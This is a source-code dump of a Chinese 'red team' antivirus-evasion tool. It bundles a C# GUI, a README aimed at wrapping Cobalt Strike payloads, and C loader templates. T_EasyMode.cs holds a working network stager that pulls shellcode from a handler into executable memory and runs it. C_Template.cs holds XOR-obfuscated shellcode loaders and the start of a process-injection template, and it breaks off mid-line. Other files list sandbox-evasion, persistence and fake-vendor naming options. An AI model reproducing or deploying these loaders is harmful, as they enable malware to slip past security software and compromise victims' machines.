├── images ├── 2021.ico ├── yr3.gif ├── step-1.jpg ├── step-2.jpg ├── yr3_exe.gif ├── eaaslogo.png └── xred.team.png ├── 掩日2.0 ├── trojan.ico ├── Properties │ ├── Settings.settings │ ├── AssemblyInfo.cs │ ├── Settings.Designer.cs │ ├── Resources.Designer.cs │ └── Resources.resx ├── T_C_VirtualAlloc.cs ├── 掩日2.0.csproj.user ├── Program.cs ├── 掩日2.0.sln ├── Global.cs ├── Compiler.cs ├── Common.cs ├── T_EasyMode.cs ├── AboutBox1.cs ├── 掩日2.0.csproj ├── C_Template.cs ├── Form1.cs ├── Core.cs ├── AboutBox1.Designer.cs ├── Form1.Designer.cs └── AboutBox1.resx ├── README.md └── LICENSE /images/2021.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1y0n/AV_Evasion_Tool/HEAD/images/2021.ico -------------------------------------------------------------------------------- /images/yr3.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1y0n/AV_Evasion_Tool/HEAD/images/yr3.gif -------------------------------------------------------------------------------- /掩日2.0/trojan.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1y0n/AV_Evasion_Tool/HEAD/掩日2.0/trojan.ico -------------------------------------------------------------------------------- /images/step-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1y0n/AV_Evasion_Tool/HEAD/images/step-1.jpg -------------------------------------------------------------------------------- /images/step-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1y0n/AV_Evasion_Tool/HEAD/images/step-2.jpg -------------------------------------------------------------------------------- /images/yr3_exe.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1y0n/AV_Evasion_Tool/HEAD/images/yr3_exe.gif -------------------------------------------------------------------------------- /images/eaaslogo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1y0n/AV_Evasion_Tool/HEAD/images/eaaslogo.png -------------------------------------------------------------------------------- /images/xred.team.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/1y0n/AV_Evasion_Tool/HEAD/images/xred.team.png -------------------------------------------------------------------------------- /掩日2.0/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /掩日2.0/T_C_VirtualAlloc.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace 掩日2._0 7 | { 8 | class T_C_VirtualAlloc 9 | { 10 | public static string code = ""; 11 | 12 | public static string Getcode() 13 | { 14 | code = ""; 15 | return code; 16 | } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /掩日2.0/掩日2.0.csproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | publish\ 5 | 6 | 7 | 8 | 9 | 10 | zh-CN 11 | false 12 | 13 | -------------------------------------------------------------------------------- /掩日2.0/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Windows.Forms; 5 | 6 | namespace 掩日2._0 7 | { 8 | static class Program 9 | { 10 | /// 11 | /// 应用程序的主入口点。 12 | /// 13 | [STAThread] 14 | static void Main() 15 | { 16 | Application.EnableVisualStyles(); 17 | Application.SetCompatibleTextRenderingDefault(false); 18 | Application.Run(new Form1()); 19 | } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /掩日2.0/掩日2.0.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29418.71 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "掩日2.0", "掩日2.0.csproj", "{7898617D-08D2-4297-ADFE-5EDD5C1B828B}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {7898617D-08D2-4297-ADFE-5EDD5C1B828B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {7898617D-08D2-4297-ADFE-5EDD5C1B828B}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {7898617D-08D2-4297-ADFE-5EDD5C1B828B}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {7898617D-08D2-4297-ADFE-5EDD5C1B828B}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {FC2825C0-84C1-4FA4-A846-B23326C7C8AF} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /掩日2.0/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // 有关程序集的一般信息由以下 6 | // 控制。更改这些特性值可修改 7 | // 与程序集关联的信息。 8 | [assembly: AssemblyTitle("掩日 2.0 - Advanced AV Evasion Tool For Red Team")] 9 | [assembly: AssemblyDescription("掩日 2.0 - Advanced AV Evasion Tool For Red Team")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("1y0n.com")] 12 | [assembly: AssemblyProduct("掩日2.0")] 13 | [assembly: AssemblyCopyright("MIT © 1y0n.com")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // 将 ComVisible 设置为 false 会使此程序集中的类型 18 | //对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型 19 | //请将此类型的 ComVisible 特性设置为 true。 20 | [assembly: ComVisible(false)] 21 | 22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID 23 | [assembly: Guid("7898617d-08d2-4297-adfe-5edd5c1b828b")] 24 | 25 | // 程序集的版本信息由下列四个值组成: 26 | // 27 | // 主版本 28 | // 次版本 29 | // 生成号 30 | // 修订号 31 | // 32 | //可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值 33 | //通过使用 "*",如下所示: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("2.0.0.0")] 36 | [assembly: AssemblyFileVersion("2.0.0.0")] 37 | -------------------------------------------------------------------------------- /掩日2.0/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace 掩日2._0.Properties 12 | { 13 | 14 | 15 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 16 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] 17 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase 18 | { 19 | 20 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 21 | 22 | public static Settings Default 23 | { 24 | get 25 | { 26 | return defaultInstance; 27 | } 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /掩日2.0/Global.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace 掩日2._0 7 | { 8 | class Global 9 | { 10 | public static string MINGWPATH; 11 | public static string ICONPATH = ""; 12 | 13 | public static string[] C_Execute = {"执行1-VirtualAlloc", 14 | "执行2-GetProcAddress", 15 | "注入现有进程", 16 | "注入新进程"}; 17 | 18 | public static string[] CS_Execute_x64 = {"执行1-GetProcAddress", 19 | "执行2-VirtualProtect", 20 | "注入现有进程", 21 | "注入新进程"}; 22 | 23 | public static string[] CS_Execute_x86 = {"执行1-GetProcAddress", 24 | "执行2-VirtualProtect"}; 25 | 26 | public static string[] VM_Sandbox = {"不使用", 27 | "沙箱:延时约180秒", 28 | "虚拟机:简单反虚拟机"}; 29 | 30 | //持久化,TODO 31 | public static string[] Persistence = { "不使用", 32 | "写入开机启动目录"}; 33 | 34 | public static string[] Company_name = {"ApplePen", "SAVVYTECH", "TechyType", "TECHIEIE", "TechFLRRY", "TechCODER", "MicroSofter", "Gooogle", 35 | "Webuzz", "Tecazort", "Cyberry", "BigMi", "Facebowl", "Amazzon", "Hundred Poison", "BetaBet"}; 36 | 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /掩日2.0/Compiler.cs: -------------------------------------------------------------------------------- 1 | using Microsoft.CSharp; 2 | using System; 3 | using System.CodeDom.Compiler; 4 | using System.Collections.Generic; 5 | using System.Linq; 6 | using System.Text; 7 | 8 | 9 | namespace 掩日2._0 10 | { 11 | class Compiler 12 | { 13 | CSharpCodeProvider provider = new CSharpCodeProvider(); 14 | CompilerParameters parameters = new CompilerParameters(); 15 | 16 | public Compiler() 17 | { 18 | parameters.ReferencedAssemblies.Add("System.Core.dll"); 19 | parameters.GenerateInMemory = false; 20 | parameters.GenerateExecutable = true; 21 | parameters.IncludeDebugInformation = false; 22 | parameters.ReferencedAssemblies.Add("mscorlib.dll"); 23 | parameters.ReferencedAssemblies.Add("System.dll"); 24 | } 25 | 26 | public void compileToExe(String code, String filePath, String Arch) 27 | { 28 | 29 | parameters.OutputAssembly = filePath; 30 | parameters.CompilerOptions = Arch; 31 | 32 | CompilerResults results = provider.CompileAssemblyFromSource(parameters, code); 33 | 34 | if (results.Errors.HasErrors) 35 | { 36 | StringBuilder sb = new StringBuilder(); 37 | 38 | foreach (CompilerError error in results.Errors) 39 | { 40 | sb.AppendLine(String.Format("Error ({0}): {1}", error.ErrorNumber, error.ErrorText)); 41 | } 42 | 43 | throw new InvalidOperationException(sb.ToString()); 44 | } 45 | } 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /掩日2.0/Common.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace 掩日2._0 7 | { 8 | class Common 9 | { 10 | //生成随机字符串 11 | public static string GetRandomString(int length, bool useNum, bool useLow, bool useUpp, bool useSpe, string custom) 12 | { 13 | byte[] b = new byte[4]; 14 | new System.Security.Cryptography.RNGCryptoServiceProvider().GetBytes(b); 15 | Random r = new Random(BitConverter.ToInt32(b, 0)); 16 | string s = null, str = custom; 17 | if (useNum == true) { str += "0123456789"; } 18 | if (useLow == true) { str += "abcdefghijklmnopqrstuvwxyz"; } 19 | if (useUpp == true) { str += "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; } 20 | if (useSpe == true) { str += "!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~"; } 21 | for (int i = 0; i < length; i++) 22 | { 23 | s += str.Substring(r.Next(0, str.Length - 1), 1); 24 | } 25 | return s; 26 | } 27 | 28 | //执行系统命令 29 | public static string Execute_Cmd(string cmd) 30 | { 31 | string output = ""; 32 | System.Diagnostics.Process p = new System.Diagnostics.Process(); 33 | p.StartInfo.FileName = "cmd.exe"; 34 | p.StartInfo.UseShellExecute = false; //是否使用操作系统shell启动 35 | p.StartInfo.RedirectStandardInput = true;//接受来自调用程序的输入信息 36 | p.StartInfo.RedirectStandardOutput = true;//由调用程序获取输出信息 37 | p.StartInfo.RedirectStandardError = true;//重定向标准错误输出 38 | p.StartInfo.CreateNoWindow = true;//不显示程序窗口 39 | p.Start();//启动程序 40 | 41 | //向cmd窗口发送输入信息 42 | p.StandardInput.WriteLine(cmd + "&exit"); 43 | 44 | p.StandardInput.AutoFlush = true; 45 | 46 | //获取cmd窗口的输出信息 47 | output = p.StandardOutput.ReadToEnd(); 48 | 49 | p.WaitForExit();//等待程序执行完退出进程 50 | p.Close(); 51 | return output; 52 | } 53 | 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /掩日2.0/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // 此代码由工具生成。 4 | // 运行时版本: 4.0.30319.42000 5 | // 6 | // 对此文件的更改可能导致不正确的行为,如果 7 | // 重新生成代码,则所做更改将丢失。 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace 掩日2._0.Properties 12 | { 13 | 14 | 15 | /// 16 | /// 强类型资源类,用于查找本地化字符串等。 17 | /// 18 | // 此类是由 StronglyTypedResourceBuilder 19 | // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。 20 | // 若要添加或删除成员,请编辑 .ResX 文件,然后重新运行 ResGen 21 | // (以 /str 作为命令选项),或重新生成 VS 项目。 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources 26 | { 27 | 28 | private static global::System.Resources.ResourceManager resourceMan; 29 | 30 | private static global::System.Globalization.CultureInfo resourceCulture; 31 | 32 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 33 | internal Resources() 34 | { 35 | } 36 | 37 | /// 38 | /// 返回此类使用的缓存 ResourceManager 实例。 39 | /// 40 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 41 | internal static global::System.Resources.ResourceManager ResourceManager 42 | { 43 | get 44 | { 45 | if ((resourceMan == null)) 46 | { 47 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("掩日2._0.Properties.Resources", typeof(Resources).Assembly); 48 | resourceMan = temp; 49 | } 50 | return resourceMan; 51 | } 52 | } 53 | 54 | /// 55 | /// 覆盖当前线程的 CurrentUICulture 属性 56 | /// 使用此强类型的资源类的资源查找。 57 | /// 58 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 59 | internal static global::System.Globalization.CultureInfo Culture 60 | { 61 | get 62 | { 63 | return resourceCulture; 64 | } 65 | set 66 | { 67 | resourceCulture = value; 68 | } 69 | } 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | 3 |

4 | 5 | 6 |

掩日 - 适用于红队的综合免杀工具

7 | 8 | 重大更新:此项目现已更新为在线版,可使用 PC 浏览器访问 https://eaas.xred.team/ 进行体验。 9 | 10 | --- 11 | 注意:开源版本已停止更新。 12 | 13 | ## 声明 14 | 15 | 1. 仅限用于技术研究和获得正式授权的测试活动! 16 | 2. 工作繁忙、水平低下、精力有限、时间仓促,代码未经过大量测试,如发现问题请提交 issue。 17 | 3. 主程序已被部分杀软标记,请添加到杀软白名单。 18 | 4. 测试的CS版本为4.4,测试的系统版本为Windows 10/11、Server 2008,其他版本自行测试。 19 | 20 | 21 | ## 下载 22 | 23 | [Github 下载](https://github.com/1y0n/AV_Evasion_Tool/releases/download/20231208/20231208.zip) 24 | 25 | ## 依赖 26 | 如果使用工具的全部功能,请确保满足以下全部条件: 27 | 1. 64位 Windows 7 或以上操作系统 28 | 2. .net framework 4.5 或更高版本 29 | 3. 安装 tdm-gcc 或者 tcc 30 | 4. 可选:安装64位 Go 语言环境 31 | 32 | tdm-gcc[下载地址](https://github.com/jmeubank/tdm-gcc/releases/download/v9.2.0-tdm64-1/tdm64-gcc-9.2.0.exe),双击运行,选择 CREATE,然后一直“下一步”即可。 33 | 34 | tcc[下载地址](http://download.savannah.gnu.org/releases/tinycc/tcc-0.9.27-win64-bin.zip),这个不需要安装,解压到任意目录即可(目录不要包含中文字符)。 35 | 36 | ## 使用 37 | 程序现在不会自动检测编译器了,而是使用了 YRconfig.ini 。在正式使用前,你需要更改这个文件的内容。格式参考如下: 38 | 39 | ----------- 40 | 41 | [compiler] 42 | 43 | GCC="C:\TDM-GCC-64\bin\gcc.exe" 44 | 45 | GO="C:\Go\bin\go.exe" 46 | 47 | ----------- 48 | 49 | 将对应 gcc.exe 和 go.exe 的路径替换成你自己的,然后重启主程序就可以使用了。 50 | 51 | 自20231208版本之后,你可以自己选择c编译器:tdm-gcc 或者 tcc。tcc 生成的体积更小(实测7kb,使用upx可以压到5kb以内),但是不支持自定义程序图标。 52 | 53 | **生成路径中不要包含中文和空格,否则会生成失败!** 54 | 55 | **针对Cobalt Strike,不要选择生成Windows分阶段木马、Windows无阶段木马,而是生成payload,最终是一个payload.c文件。** 56 | 57 |

58 | 59 |

60 | 61 |

62 | 63 |

64 | 65 | ## 更新 66 | v20231208 2023年12月08日 67 | 1. 效果优化 68 | 2. 现在可以自由选择tdm-gcc或者tcc生成loader 69 | 70 | v20230823 2023年8月23日 71 | 1. 效果优化 72 | 73 | v20230417 2023年4月17日 74 | 1. 效果优化 75 | 76 | v20230329 2023年3月29日 77 | 1. 效果优化 78 | 2. 修复识别杀软时卡死问题 79 | 80 | v20230303 2023年3月3日 81 | 1. 效果优化 82 | 83 | v20221105 2022年11月5日 84 | 1. 一点儿更新 85 | 86 | v20220801 2022年8月1日 87 | 1. 效果优化 88 | 89 | v20220629 2022年6月29日 90 | 1. 优化某杀软误报问题 91 | 92 | v20220419 2022年4月19日 93 | 1. 免杀效果优化 94 | 95 | v20220329 2022年3月29日 96 | 1. bug修复(感谢@1191569886反馈) 97 | 98 | v20220325 2022年3月25日 99 | 1. bug修复(感谢@Tas9er反馈) 100 | 101 | v20220311 2022年3月11日 102 | 1. bug修复 103 | 2. 使用C语言生成的程序体积减小90%(可以使用UPX进一步压缩体积,最终可以压缩到11KB左右) 104 | 105 | v20220204 2022年3月7日 106 | 1. 全新的界面 107 | 2. 支持 Go 语言 108 | 3. 支持本地分离 109 | 4. 支持网络分离 110 | 5. 杀软对比功能 111 | 6. 更新检测功能 112 | 113 | ## 引用 114 | 感谢以下优秀项目/文章/网站,本工具修改和使用了其中的代码、资源或思路: 115 | 1. Dount (https://github.com/TheWover/donut) 116 | 2. avList (https://github.com/gh0stkey/avList) 117 | 3. goShellCodeByPassVT (https://github.com/fcre1938/goShellCodeByPassVT) 118 | 4. HandyControls (https://github.com/HandyOrg/HandyControl) 119 | 5. flaticon (https://www.flaticon.com) 120 | -------------------------------------------------------------------------------- /掩日2.0/T_EasyMode.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace 掩日2._0 7 | { 8 | class T_EasyMode 9 | { 10 | public static string code = ""; 11 | public static string GetCode() 12 | { 13 | code = @"#include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | /* init winsock */ 20 | void winsock_init() { 21 | WSADATA wsaData; 22 | WORD wVersionRequested; 23 | 24 | wVersionRequested = MAKEWORD(2, 2); 25 | 26 | if (WSAStartup(wVersionRequested, &wsaData) < 0) { 27 | WSACleanup(); 28 | exit(1); 29 | } 30 | } 31 | 32 | 33 | /* attempt to receive all of the requested data from the socket */ 34 | int xxxxxx(SOCKET my_socket, void * buffer, int len) { 35 | int tret = 0; 36 | int nret = 0; 37 | void * startb = buffer; 38 | while (tret < len) { 39 | nret = recv(my_socket, (char *)startb, len - tret, 0); 40 | startb += nret; 41 | tret += nret; 42 | } 43 | return tret; 44 | } 45 | 46 | /* establish a connection to a host:port */ 47 | SOCKET wxxxxxx(char * targetip, int port) { 48 | struct hostent * target; 49 | struct sockaddr_in sock; 50 | SOCKET my_socket; 51 | 52 | /* setup our socket */ 53 | my_socket = socket(AF_INET, SOCK_STREAM, 0); 54 | 55 | /* resolve our target */ 56 | target = gethostbyname(targetip); 57 | 58 | 59 | /* copy our target information into the sock */ 60 | memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length); 61 | sock.sin_family = AF_INET; 62 | sock.sin_port = htons(port); 63 | 64 | /* attempt to connect */ 65 | connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)); 66 | 67 | return my_socket; 68 | } 69 | 70 | 71 | int main(int argc, char * argv[]) { 72 | ULONG32 size; 73 | char * buffer; 74 | void (*function)(); 75 | 76 | winsock_init(); 77 | 78 | /* connect to the handler */ 79 | char* testString2 = ((char[]){{{ip}}}); 80 | char* testString3 = ((char[]){'V','i','r','t','u','a','l','A','l','l','o','c','\0'}); 81 | char* testString4 = ((char[]){'k','e','r','n','e','l','3','2','\0'}); 82 | 83 | //绕过沙箱 84 | clock_t start, finish; 85 | double Total_time; 86 | start = clock(); 87 | Sleep(800); 88 | finish = clock(); 89 | 90 | Total_time = (double)(finish - start); 91 | if(Total_time < 800) 92 | { 93 | return 0; 94 | } 95 | 96 | 97 | SOCKET my_socket = wxxxxxx(testString2, {{port}}); 98 | 99 | /* read the 4-byte length */ 100 | recv(my_socket, (char *)&size, 4, 0); 101 | 102 | /* allocate a RWX buffer */ 103 | typedef LPVOID (WINAPI* VirtualAllocB)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 104 | 105 | VirtualAllocB p = (VirtualAllocB)GetProcAddress(GetModuleHandle(testString4), testString3); 106 | buffer = (char*)(*p)(NULL, size+5, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 107 | 108 | /* prepend a little assembly to move our SOCKET value to the EDI register 109 | thanks mihi for pointing this out 110 | BF 78 56 34 12 => mov edi, 0x12345678 */ 111 | buffer[0] = 0xBF; 112 | 113 | /* copy the value of our socket to the buffer */ 114 | memcpy(buffer + 1, &my_socket, 4); 115 | 116 | /* read bytes into the buffer */ 117 | xxxxxx(my_socket, buffer + 5, size); 118 | 119 | /* cast our buffer as a function and call it */ 120 | (*(void(*)())buffer)(); 121 | 122 | return 0; 123 | } 124 | "; 125 | return code; 126 | } 127 | } 128 | } 129 | -------------------------------------------------------------------------------- /掩日2.0/AboutBox1.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Drawing; 5 | using System.Linq; 6 | using System.Reflection; 7 | using System.Windows.Forms; 8 | 9 | namespace 掩日2._0 10 | { 11 | partial class AboutBox1 : Form 12 | { 13 | public AboutBox1() 14 | { 15 | InitializeComponent(); 16 | this.Text = String.Format("关于"); 17 | this.labelProductName.Text = AssemblyTitle; 18 | this.labelVersion.Text = String.Format("版本 {0}", AssemblyVersion); 19 | this.labelCopyright.Text = @"遵循 MIT协议 © 1y0n.com"; 20 | this.labelCompanyName.Text = AssemblyCompany; 21 | this.textBoxDescription.Text = "Github主页:\r\nhttps://github.com/1y0n/AV_Evasion_Tool\r\n\r\n博客:\r\nhttps://1y0n.com" + 22 | "\r\n\r\n邮箱:\r\nBoot.Root.Loot@gmail.com"; 23 | } 24 | 25 | #region 程序集特性访问器 26 | 27 | public string AssemblyTitle 28 | { 29 | get 30 | { 31 | object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyTitleAttribute), false); 32 | if (attributes.Length > 0) 33 | { 34 | AssemblyTitleAttribute titleAttribute = (AssemblyTitleAttribute)attributes[0]; 35 | if (titleAttribute.Title != "") 36 | { 37 | return titleAttribute.Title; 38 | } 39 | } 40 | return System.IO.Path.GetFileNameWithoutExtension(Assembly.GetExecutingAssembly().CodeBase); 41 | } 42 | } 43 | 44 | public string AssemblyVersion 45 | { 46 | get 47 | { 48 | return Assembly.GetExecutingAssembly().GetName().Version.ToString(); 49 | } 50 | } 51 | 52 | public string AssemblyDescription 53 | { 54 | get 55 | { 56 | object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyDescriptionAttribute), false); 57 | if (attributes.Length == 0) 58 | { 59 | return ""; 60 | } 61 | return ((AssemblyDescriptionAttribute)attributes[0]).Description; 62 | } 63 | } 64 | 65 | public string AssemblyProduct 66 | { 67 | get 68 | { 69 | object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyProductAttribute), false); 70 | if (attributes.Length == 0) 71 | { 72 | return ""; 73 | } 74 | return ((AssemblyProductAttribute)attributes[0]).Product; 75 | } 76 | } 77 | 78 | public string AssemblyCopyright 79 | { 80 | get 81 | { 82 | object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyCopyrightAttribute), false); 83 | if (attributes.Length == 0) 84 | { 85 | return ""; 86 | } 87 | return ((AssemblyCopyrightAttribute)attributes[0]).Copyright; 88 | } 89 | } 90 | 91 | public string AssemblyCompany 92 | { 93 | get 94 | { 95 | object[] attributes = Assembly.GetExecutingAssembly().GetCustomAttributes(typeof(AssemblyCompanyAttribute), false); 96 | if (attributes.Length == 0) 97 | { 98 | return ""; 99 | } 100 | return ((AssemblyCompanyAttribute)attributes[0]).Company; 101 | } 102 | } 103 | #endregion 104 | 105 | private void okButton_Click(object sender, EventArgs e) 106 | { 107 | this.Close(); 108 | } 109 | } 110 | } 111 | -------------------------------------------------------------------------------- /掩日2.0/掩日2.0.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {7898617D-08D2-4297-ADFE-5EDD5C1B828B} 8 | WinExe 9 | 掩日2._0 10 | 掩日 2.0 - Advanced AV Evasion Tool For Red Team 11 | v4.0 12 | 512 13 | true 14 | false 15 | publish\ 16 | true 17 | Disk 18 | false 19 | Foreground 20 | 7 21 | Days 22 | false 23 | false 24 | true 25 | 0 26 | 2.0.0.%2a 27 | false 28 | true 29 | 30 | 31 | AnyCPU 32 | true 33 | full 34 | false 35 | bin\Debug\ 36 | DEBUG;TRACE 37 | prompt 38 | 4 39 | 40 | 41 | AnyCPU 42 | pdbonly 43 | true 44 | bin\Release\ 45 | TRACE 46 | prompt 47 | 4 48 | 49 | 50 | trojan.ico 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | Form 67 | 68 | 69 | AboutBox1.cs 70 | 71 | 72 | 73 | 74 | 75 | Form 76 | 77 | 78 | Form1.cs 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | AboutBox1.cs 89 | 90 | 91 | Form1.cs 92 | 93 | 94 | ResXFileCodeGenerator 95 | Resources.Designer.cs 96 | Designer 97 | 98 | 99 | True 100 | Resources.resx 101 | 102 | 103 | SettingsSingleFileGenerator 104 | Settings.Designer.cs 105 | 106 | 107 | True 108 | Settings.settings 109 | True 110 | 111 | 112 | 113 | 114 | False 115 | .NET Framework 3.5 SP1 116 | false 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | -------------------------------------------------------------------------------- /掩日2.0/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | text/microsoft-resx 107 | 108 | 109 | 2.0 110 | 111 | 112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 113 | 114 | 115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | -------------------------------------------------------------------------------- /掩日2.0/C_Template.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace 掩日2._0 7 | { 8 | class C_Template 9 | { 10 | public static string Base_Code = @"#include 11 | #include 12 | #include 13 | #include 14 | 15 | unsigned char code[] = ""{{shellcode}}""; 16 | void main() 17 | { 18 | clock_t start, finish; 19 | double Total_time; 20 | start = clock(); 21 | Sleep(800); 22 | finish = clock(); 23 | Total_time = (double)(finish - start); 24 | if(Total_time < 800) 25 | { 26 | return; 27 | } 28 | //{{sanbox_vm_detect}} 29 | //{{persistence}} 30 | 31 | int j = 234; 32 | int add = 12; 33 | 34 | for (int i = 0; i < sizeof(code); i++) 35 | { 36 | code[i] = code[i] ^ 123 ^ j; 37 | j += add; 38 | } 39 | 40 | //{{execute}} 41 | 42 | }"; 43 | 44 | //执行方式:VirtualAlloc 45 | public static string VirtualALloc = @"char* p = VirtualAlloc(NULL, sizeof(code), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 46 | memcpy(p, code, sizeof(code)); 47 | (*(void(*)())p)();"; 48 | 49 | //执行方式:GetProcAddress 50 | public static string GetProcessAddress = @"char* testString3 = ((char[]){'V','i','r','t','u','a','l','A','l','l','o','c','\0'}); 51 | char* testString4 = ((char[]){'k','e','r','n','e','l','3','2','\0'}); 52 | FARPROC Allocate = GetProcAddress(GetModuleHandle(testString4), testString3); 53 | char* BUFFER = (char*)Allocate(NULL, sizeof(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE); 54 | memcpy(BUFFER, code, sizeof(code)); 55 | (*(void(*)())BUFFER)();"; 56 | 57 | //动态加载,TODO 58 | public static string Dynamic = ""; 59 | 60 | //注入到现有进程,需要提供 pid 61 | public static string CreateRemoteThread = @"DWORD pid = {{pid}}; 62 | char* Xernel = ((char[]){'k','e','r','n','e','l','3','2','\0'}); 63 | typedef LPVOID (WINAPI* OpenProcessC)(DWORD 